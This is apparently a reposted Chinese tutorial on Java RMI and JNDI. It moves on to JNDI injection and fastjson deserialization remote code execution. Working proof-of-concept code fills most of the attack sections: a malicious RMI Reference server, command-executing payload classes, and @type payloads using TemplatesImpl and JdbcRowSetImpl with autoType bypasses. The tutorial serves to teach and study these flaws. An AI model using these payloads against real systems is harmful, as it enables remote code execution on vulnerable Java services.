关注我&＃xff0c;让我成为你的专属小太阳吧RMI入门
什么是RMI
RMI(Remote Method Invocation)为远程方法调用&＃xff0c;是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以是运行在相同计算机上的不同进程中&＃xff0c;也可以是运行在网络上的不同计算机中,它的底层是由socket和java序列化和反序列化支撑起来的。
Java RMI&＃xff1a;Java远程方法调用&＃xff0c;即Java RMI(Java Remote Method Invocation)是Java编程语言里&＃xff0c;一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
我们知道远程过程调用(Remote Procedure Call, RPC)可以用于一个进程调用另一个进程(很可能在另一个远程主机上)中的过程&＃xff0c;从而提供了过程的分布能力。Java 的 RMI 则在 RPC 的基础上向前又迈进了一步&＃xff0c;即提供分布式对象间的通讯。
那么会引出以下几个问题&＃xff1f;
1.远程对象的发现问题
在调用远程对象的方法之前需要一个远程对象的引用&＃xff0c;如何获得这个远程对象的引用在RMI中是一个关键的问题&＃xff1f;
答案&＃xff1a;在我们日常使用网络时&＃xff0c;基本上都是通过域名来定位一个网站&＃xff0c;但是实际上网络是通过IP地址来定位网站的&＃xff0c;因此其中就需要一个映射的过程&＃xff0c;域名系统(DNS)就是为了这个目的出现的&＃xff0c;在域名系统中通过域名来查找对应的IP地址来访问对应的服务器。那么对应的&＃xff0c;IP地址在这里就相当于远程对象的引用&＃xff0c;而DNS则相当于一个注册表(Registry)。而域名在RMI中就相当于远程对象的标识符&＃xff0c;客户端通过提供远程对象的标识符访问注册表&＃xff0c;来得到远程对象的引用。这个标识符是类似URL地址格式的&＃xff0c;也就是后面我们所说的RMIRegistry。
2.数据的传递问题
我们都知道在Java程序中引用类型(不包括基本类型)的参数传递是按引用传递的&＃xff0c;对于在同一个虚拟机中的传递时是没有问题的&＃xff0c;因为的参数的引用对应的是同一个内存空间&＃xff0c;但是对于分布式系统中&＃xff0c;由于对象不再存在于同一个内存空间&＃xff0c;虚拟机A的对象引用对于虚拟机B没有任何意义&＃xff0c;问题如何解决&＃xff1f;
当客户端通过RMI注册表找到一个远程接口的时候&＃xff0c;所得到的其实是远程接口的一个动态代理对象。当客户端调用其中的方法的时候&＃xff0c;方法的参数对象会在序列化之后&＃xff0c;传输到服务器端。服务器端接收到之后&＃xff0c;进行反序列化得到参数对象。并使用这些参数对象&＃xff0c;在服务器端调用实际的方法。调用的返回值Java对象经过序列化之后&＃xff0c;再发送回客户端。客户端再经过反序列化之后得到Java对象&＃xff0c;返回给调用者。这中间的序列化过程对于使用者来说是透明的&＃xff0c;由动态代理对象自动完成。
RMI的通信模型
形象理解&＃xff1a;实际上&＃xff0c;客户端只与代表远程主机中对象的Stub对象进行通信&＃xff0c;丝毫不知道Server的存在。客户端只是调用Stub对象中的本地方法&＃xff0c;Stub对象是一个本地对象&＃xff0c;它实现了远程对象向外暴露的接口&＃xff0c;也就是说它的方法和远程对象暴露的方法的签名是相同的。客户端认为它是调用远程对象的方法&＃xff0c;实际上是调用Stub对象中的方法。可以理解为Stub对象是远程对象在本地的一个代理&＃xff0c;当客户端调用方法的时候&＃xff0c;Stub对象会将调用通过网络传递给远程对象。
RMI远程调用步骤(图解)
1、客户对象调用客户端辅助对象上的方法
2、客户端辅助对象打包调用信息(变量&＃xff0c;方法名)&＃xff0c;通过网络发送给服务端辅助对象
3、服务端辅助对象将客户端辅助对象发送来的信息解包&＃xff0c;找出真正被调用的方法以及该方法所在对象
4、调用真正服务对象上的真正方法&＃xff0c;并将结果返回给服务端辅助对象
5、服务端辅助对象将结果打包&＃xff0c;发送给客户端辅助对象
6、客户端辅助对象将返回值解包&＃xff0c;返回给客户对象
7、客户对象获得返回值
简单的实现
package main;import java.rmi.Remote;import java.rmi.RemoteException;public interface HelloService extends Remote { // Remote method should throw RemoteException public String service(String data) throws RemoteException;}package main;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class HelloServiceImpl extends UnicastRemoteObject implements HelloService { private static final long serialVersionUID &＃61; 1L; private String name; public HelloServiceImpl(String name) throws RemoteException { super(); this.name &＃61; name; // UnicastRemoteObject.exportObject(this, 0); } &＃64;Override public String service(String data) throws RemoteException { return data &＃43; name; }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;public class Server { public static void main(String[] args) { try { LocateRegistry.createRegistry(1099); HelloService service1 &＃61; new HelloServiceImpl("service1"); Naming.rebind("rmi://localhost:1099/HelloService1",service1); } catch (RemoteException | MalformedURLException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("Successfully register a remote object."); }}package main;import java.net.MalformedURLException;import java.rmi.Naming;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class Client { public static void main(String[] args) { // TODO Auto-generated method stub String url &＃61; "rmi://localhost:1099/"; try { HelloService serv &＃61; (HelloService) Naming.lookup(url &＃43; "HelloService1"); String data &＃61; "This is RMI Client."; System.out.println(serv.service(data)); } catch (RemoteException e) { e.printStackTrace(); } catch (NotBoundException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } }}
总结一句&＃xff1a;Java RMI是专为Java环境设计的远程方法调用机制&＃xff0c;远程服务器实现具体的Java方法并提供接口&＃xff0c;客户端本地仅需根据接口类的定义&＃xff0c;提供相应的参数即可调用远程方法并获取执行结果&＃xff0c;使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
从代码中我们可以看出&＃xff0c;远程接口中的所有方法必须声明它们可以引发异常 java.rmi.RemoteException 。RemoteException当发生任何类型的网络错误时&＃xff0c;都会引发此异常(实际上是的许多子类之一 )&＃xff1a;例如&＃xff0c;服务器可能崩溃&＃xff0c;网络可能会失败&＃xff0c;或者您可能由于某种原因而请求一个不可用的对象。
攻击RMI服务端
抓包
既然传输的时候需要经过序列化及反序列化&＃xff0c;这要求相应的类必须实现 java.io.Serializable 接口&＃xff0c;然而代码里面没看到&＃xff1f;
请看如下&＃xff1a;
作用
总结一句&＃xff1a;Java RMI是专为Java环境设计的远程方法调用机制&＃xff0c;远程服务器实现具体的Java方法并提供接口&＃xff0c;客户端本地仅需根据接口类的定义&＃xff0c;提供相应的参数即可调用远程方法并获取执行结果&＃xff0c;使分布在不同的JVM中的对象的外表和行为都像本地对象一样。
JNDI入门
什么是JNDI?
JNDI(Java Naming and Directory Interface),名为 Java命名和目录接口&＃xff0c;JNDI是Java API&＃xff0c;允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中&＃xff0c;例如远程方法调用(RMI)&＃xff0c;公共对象请求代理体系结构(CORBA)&＃xff0c;轻型目录访问协议(LDAP)或域名服务(DNS)。放两张直观的图
使用JNDI的好处
JNDI自身并不区分客户端和服务器端&＃xff0c;也不具备远程能力&＃xff0c;但是被其协同的一些其他应用一般都具备远程能力&＃xff0c;JNDI在客户端和服务器端都能够进行一些工作&＃xff0c;客户端上主要是进行各种访问&＃xff0c;查询&＃xff0c;搜索&＃xff0c;而服务器端主要进行的是帮助管理配置&＃xff0c;也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind&＃xff0c;而使用JNDI统一管理&＃xff0c;当然JNDI底层应该还是调用的Registry的bind&＃xff0c;但好处JNDI提供的是统一的配置接口&＃xff1b;在客户端也可以直接通过类似URL的形式来访问目标服务&＃xff0c;可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。
小小的Demo
package learnjndi;import java.io.Serializable;import java.rmi.Remote;public class Person implements Remote,Serializable { private static final long serialVersionUID &＃61; 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name &＃61; name; } public String getPassword() { return password; } public void setPassword(String password) { this.password &＃61; password; } public String toString(){ return "name:"&＃43;name&＃43;" password:"&＃43;password; }}
package learnjndi;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.spi.NamingManager;public class test { public static void initPerson() throws Exception{ //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息&＃xff0c;会出现NoInitialContextException异常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); 初始化 InitialContext ctx &＃61; new InitialContext(); //实例化person对象 Person p &＃61; new Person(); p.setName("Decade"); p.setPassword("xiaobai"); //person对象绑定到JNDI服务中&＃xff0c;JNDI的名字叫做&＃xff1a;person&＃xff0c;即我们可以通过person键值&＃xff0c;来对Person对象进行索引 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中&＃xff0c;这里就不用在绑定了 InitialContext ctx &＃61; new InitialContext(); //通过lookup查找person对象 Person person &＃61; (Person) ctx.lookup("person"); //打印出这个对象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); }}
在运行的一瞬间&＃xff0c;可以看到确实开放了3001端口
用Debug的状态来看
JNDI协议动态转换
在开始谈JNDI注入之前&＃xff0c;先谈一谈为什么会引起JNDI注入。上面的Demo里面&＃xff0c;在初始化就预先指定了其上下文环境(RMI),但是在调用 lookup() 时&＃xff0c;是可以使用带 URI 动态的转换上下文环境&＃xff0c;例如上面已经设置了当前上下文会访问 RMI 服务&＃xff0c;那么可以直接使用 RMi的 URI 格式去转换(该变)上下文环境&＃xff0c;使之访问 RMI 服务上的绑定对象&＃xff1a;
Person person &＃61; (Person) ctx.lookup("rmi://localhost:3001/person");
JNDI注入
可以看到得到同样的效果&＃xff0c;但是如果这个lookup参数我们可以控制呢&＃xff1f;
这里由于jdk版本(java1.8.231)过高&＃xff0c;导致的没有攻击成功&＃xff0c;这里为了简便用的是marshalsec反序列化工具
低版本测试?
这里选用的是jd k1.7.17版本。
import javax.naming.Context;import javax.naming.InitialContext;public class CLIENT { public static void main(String[] args) throws Exception { String uri &＃61; "rmi://127.0.0.1:1099/aa"; Context ctx &＃61; new InitialContext(); ctx.lookup(uri); }}
import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class SERVER { public static void main(String args[]) throws Exception { Registry registry &＃61; LocateRegistry.createRegistry(1099); Reference aa &＃61; new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/"); ReferenceWrapper refObjWrapper &＃61; new ReferenceWrapper(aa); System.out.println("Binding &＃39;refObjWrapper&＃39; to &＃39;rmi://127.0.0.1:1099/aa&＃39;"); registry.bind("aa", refObjWrapper); }}
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class ExecTest { public ExecTest() throws IOException,InterruptedException{ String cmd&＃61;"whoami"; final Process process &＃61; Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value&＃61;process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { &＃64;Override public void run() { // TODO Auto-generated method stub Reader reader &＃61;new InputStreamReader(input); BufferedReader bf &＃61; new BufferedReader(reader); String line &＃61; null; try { while ((line&＃61;bf.readLine())!&＃61;null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}
一步一步跟踪,可以看到这里如果是Reference类的话&＃xff0c;进入var.getReference()&＃xff0c;与RMI服务器进行一次连接&＃xff0c;获取到远程class文件地址&＃xff0c;如果是普通RMI对象服务&＃xff0c;这里不会进行连接&＃xff0c;只有在正式远程函数调用的时候才会连接RMI服务。
最终调用了GetObjectInsacne函数&＃xff0c;跟踪到如下&＃xff0c;这里有两处可以实现任意命令执行&＃xff0c;分别是两处标红的代码。
可以看到最后用newInstance实例化了类&＃xff0c;实例化会默认调用构造方法、静态代码块&＃xff0c;那么也就执行了我们的whoami命令
当然这里会报错&＃xff0c;那么我们修改一下ExecTest类的写法。
import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class ExecTest implements ObjectFactory { &＃64;Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec("calc"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); }}
至于为什么要重写getObjectInstance方法&＃xff0c;是因为这里用到的第二处可以任意命令执行的地方&＃xff0c;如下图所示&＃xff0c;就不会报错了。这就是整个jndi的一个实现过程。
JNDI的条件与限制
条件一&＃xff1a;我们需要服务端存在以下代码&＃xff0c;并且uri可控
String uri &＃61; "rmi://127.0.0.1:1099/aa";Context ctx &＃61; new InitialContext();ctx.lookup(uri);
条件二&＃xff1a;jdk版本
可以看到要实现JNDI注入的话jdk版本需要符合一定条件&＃xff0c;具体到哪个版本之后不能使用呢&＃xff0c;笔者由于时间有限&＃xff0c;并没一个一个测&＃xff0c;如果有师傅愿意尝试的话可以去研究一下&＃xff0c;当然这里也有限制
柳暗花明又一村
最先其实也说了&＃xff0c;我们JNDI其实类似于一个api&＃xff0c;而我测的代码也仅仅就只有rmi服务&＃xff0c;我们下面测试一下ladp服务&＃xff0c;当然也同样为了简便&＃xff0c;用的是marshalsec反序列化工具,这里测试的jdk版本为jdk1.7.17
fastjson反序列化-RCE
简介
fastjson是alibaba开源的一款高性能功能完善的JSON库&＃xff0c;项目链接https://github.com/alibaba/fastjson/。
前置知识
import com.alibaba.fastjson.JSON;import java.util.Properties;public class User { public String name; private int age; private Boolean sex; private Properties prop; public User(){ System.out.println("User() is called"); } public void setAge(int age){ System.out.println("setAge() is called"); this.age &＃61; age; } public int getAge(){ System.out.println("getAge() is called"); return 1; } public void setName(String aa){ System.out.println("setName() is called"); this.name&＃61;aa; } public String getName(){ System.out.println("getName() is called"); return this.name; } public void setSex(boolean a){ System.out.println("setSex() is called"); this.sex &＃61; a; } public Boolean getSex(){ System.out.println("getSex() is called"); return this.sex; } public Properties getProp(){ System.out.println("getProp() is called"); return this.prop; } public void setProp(Properties a){ System.out.println("setProp() is called"); this.prop&＃61;a; } public String toString(){ String s &＃61; "[User Object] name&＃61;" &＃43; this.name &＃43; ", age&＃61;" &＃43; this.age &＃43; ", prop&＃61;" &＃43; this.prop &＃43; ", sex&＃61;" &＃43; this.sex; return s; } public static void main(String[] args){ String jsonstr &＃61; "{\"&＃64;type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}"; System.out.println("&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;JSON.parseObject&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;"); Object obj1 &＃61; JSON.parseObject(jsonstr); System.out.println("&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;JSON.parseObject指定类&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;"); Object obj3 &＃61; JSON.parseObject(jsonstr,User.class); System.out.println("&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;JSON.parse&＃61;&＃61;&＃61;&＃61;&＃61;&＃61;"); Object obj2 &＃61; JSON.parse(jsonstr); }}
这段代码就是在模拟Json字符串转换成User对象的过程&＃xff0c;执行结果为&＃xff1a;
&＃64;type用来指定Json字符串还原成哪个类对象&＃xff0c;在反序列化过程中里面的一些函数被自动调用&＃xff0c;Fastjson会根据内置策略选择如何调用这些函数&＃xff0c;在文件com.alibaba.fastjson.util.JavaBeanInfo中有定义&＃xff0c;简化如下
对于set函数主要有这几个条件&＃xff1a;
1、方法名长度大于等于4 methodName.length() >&＃61; 42、方法名以set开头 method.getParameterTypes()2、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())3、方法的类型为void或者为类自身的类型 (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))4、参数个数为1 method.getParameterTypes()&＃61;&＃61;1
对于get函数主要有这几个条件&＃xff1a;
1、方法名长度大于等于4 methodName.length() >&＃61; 42、方法名以get开头且第四个字母为大写 methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))3、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())4、方法不能有参数 method.getParameterTypes().length &＃61;&＃61; 05、方法的返回值必须为Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class &＃61;&＃61; method.getReturnType() || AtomicInteger.class &＃61;&＃61; method.getReturnType() || AtomicLong.class &＃61;&＃61; method.getReturnType())
谨记&＃xff1a;
public修饰符的属性会进行反序列化赋值&＃xff0c;private修饰符的属性不会直接进行反序列化赋值&＃xff0c;而是会调用setxxx(xxx为属性名)的函数进行赋值。
getxxx(xxx为属性名)的函数会根据函数返回值的不同&＃xff0c;而选择被调用或不被调用。
在此之前请多加本地fuzz&＃xff0c;这是理解fastjson的前置知识。
fastjson的安全特性
无参默认构造方法或者注解指定
Feature.SupportNonPublicField才能打开非公有属性的反序列化处理
&＃64;type可以指定反序列化任意类&＃xff0c;(具体情况)调用其set&＃xff0c;get方法
基于TemplatesImpl(1.2.22-1.2.24适用)
适用范围&＃xff1a;1.2.22-1.2.24
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import org.apache.commons.io.IOUtils;import org.apache.commons.codec.binary.Base64;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.IOException;public class TemplatesImplPoc { public static String readClass(String cls) { ByteArrayOutputStream bos &＃61; new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config &＃61; new ParserConfig(); final String evilClassPath &＃61; System.getProperty("user.dir") &＃43; "\\src\\main\\java\\Test.class"; System.out.println(evilClassPath); String evilCode &＃61; readClass(evilClassPath); final String NASTY_CLASS &＃61; "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 &＃61; "{\"&＃64;type\":\"" &＃43; NASTY_CLASS &＃43; "\",\"_bytecodes\":[\"" &＃43; evilCode &＃43; "\"],&＃39;_name&＃39;:&＃39;a.b&＃39;,&＃39;_tfactory&＃39;:{ },\"_outputProperties\":{ }," &＃43; "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"; System.out.println(text1); Object obj &＃61; JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //assertEquals(Model.class, obj.getClass()); } public static void main(String args[]) { try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } }}
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } &＃64;Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { Test t &＃61; new Test(); }}
//pom.xml加上如下几个依赖
基于JdbcRowSetImpl(<1.2.24)
import com.alibaba.fastjson.JSON;public class JdbcRowSetImplPoc { public static void main(String[] args) { String json &＃61; "{\"&＃64;type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}
基于JdbcRowSetImpl(1.2.25<&＃61;fastjson<&＃61;1.2.41)
利用条件之一&＃xff0c;需要开启autoType
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json &＃61; "{\"&＃64;type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}
基于JdbcRowSetImpl(1.2.25<&＃61;fastjson<&＃61;1.2.42)
利用条件之一&＃xff0c;需要开启autoType
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json &＃61; "{\"&＃64;type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}"; JSON.parse(json); }}
基于JdbcRowSetImpl(fastjson<&＃61;1.2.47)
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class JdbcRowSetImplPoc { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String json &＃61; "{" &＃43; " \"a\": {" &＃43; " \"&＃64;type\": \"java.lang.Class\", " &＃43; " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" &＃43; " }, " &＃43; " \"b\": {" &＃43; " \"&＃64;type\": \"com.sun.rowset.JdbcRowSetImpl\", " &＃43; " \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " &＃43; " \"autoCommit\": true" &＃43; " }" &＃43; "}"; JSON.parse(json); }}
扫码关注
有趣的灵魂在等你
京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有 
![[大整数乘法] java代码实现](https://img1.php1.cn/3cd4a/24c6f/9f3/0133bb25da242824.jpeg)